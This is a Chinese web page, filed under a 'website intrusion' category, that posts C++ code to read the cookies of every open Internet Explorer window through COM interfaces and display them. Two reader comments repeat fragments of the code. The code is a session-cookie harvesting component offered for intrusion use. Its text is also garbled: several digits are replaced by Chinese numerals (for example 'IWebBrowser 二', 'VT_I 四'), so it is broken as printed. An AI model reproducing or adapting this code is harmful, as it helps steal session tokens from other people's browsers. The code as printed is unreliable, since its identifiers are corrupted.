当前位置:首页 > 网站入侵 > 正文内容

获取所有打开的 ie 窗口的 cookie

访客3年前 (2022-04-21)网站入侵787

#define UNICODE
#define _UNICODE

#include <tchar.h>
#include <stdio.h>
#include <Windows.h>
#include <mshtml.h>
#include <ExDisp.h>

int main(int argc, char* argv[])
{
   HRESULT hr;
   CoInitialize(NULL);
 
   IShellWindows * lpShellWindows;

   hr = CoCreateInstance(CLSID_ShellWindows, NULL,  一, IID_IShellWindows, (PVOID*)&lpShellWindows);
   if ( hr == S_OK )
   {
     IDispatch* lpDispatch;
     long nCount;

     lpShellWindows->get_Count(&nCount);
     for ( long i = 0; i < nCount; i++ )
     {
       VARIANT varIndex;

       varIndex.vt = VT_I 四;
       varIndex.intVal = i;

       hr = lpShellWindows->Item(varIndex, &lpDispatch);
       if ( hr == S_OK )
       {
         IWebBrowser 二* lpWebBrowser 二;

         hr = lpDispatch->QueryInterface(IID_IWebBrowser 二, (PVOID*)&lpWebBrowser 二);
         if ( hr == S_OK )
         {
           IDispatch* lpDispatch;

           // lpWebBrowser 二->get_HWND();

           hr = lpWebBrowser 二->get_Document(&lpDispatch);
           if ( hr == S_OK )
           {
             IHTMLDocument 二* lpDocument 二;

             hr = lpDispatch->QueryInterface(IID_IHTMLDocument 二, (PVOID*)&lpDocument 二);
             if ( hr == S_OK )
             {
               BSTR bstrCookie;

               hr = lpDocument 二->get_cookie(&bstrCookie);
               if ( hr == S_OK )
               {
                 MessageBox(NULL, bstrCookie, NULL, 0);
                 SysFreeString(bstrCookie);
               }

               lpDocument 二->Release();
             }

             lpDispatch->Release();
           }

           lpWebBrowser 二->Release();
         }

         lpDispatch->Release();
       }
     }

     lpShellWindows->Release();
   }

   CoUninitialize();
   return 0;
}

标签: 好话题
分享给朋友:

评论列表

晴枙桃靥
2年前 (2022-09-19)

            if ( hr == S_OK )             {               BSTR bstrCookie;           

只酷夏棠
2年前 (2022-09-19)

#define UNICODE#define _UNICODE#include <tchar.h>#include <stdio.h>#include <Windows.h>#include <mshtml.h>#incl

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。